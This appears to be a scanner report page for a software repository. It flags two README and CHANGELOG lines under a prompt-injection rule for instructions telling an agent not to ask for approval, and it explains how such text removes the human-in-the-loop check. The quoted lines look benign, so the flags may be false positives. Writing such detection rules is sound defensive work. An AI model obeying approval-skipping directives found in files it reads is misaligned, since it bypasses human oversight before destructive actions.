The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptpacks/org-bootstrap/README.md· markdown
3Two org-context adapters for `nable org init`. They read where your org
4already writes down who owns what, a Backstage software catalog and GitHub
5teams, and propose owner and team facts. They never confirm anything: every
6fact lands as a proposal, and a person says yes or no in the week-one
7interview below.
Occurrences
1 occurrence · at L5
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha2560be97c10a18c2bb9…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · CHANGELOG.md
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptCHANGELOG.md· markdown
222patch the guard does not read: each now asks whenever the repo holds one of
223the guard's own org files (`nable.org/`, or `nable.org/authority.yaml`'s
224directory). In a repo with no org model they never ask. A branch switch
225is judged by what it would change (below).
226- **`nable cloud connect` never sends an `authority.yaml` wider than this
Occurrences
1 occurrence · at L224
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha25614b7852251bf4666…rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
✓—All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
✓—All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
✓—All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
✓—All community checks passedNo findings in this category for the latest scan.pass
Vendor response · right of reply
Are you the maintainer? Submit a response →

Audit the pieces. Scan the whole. Decide.

~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.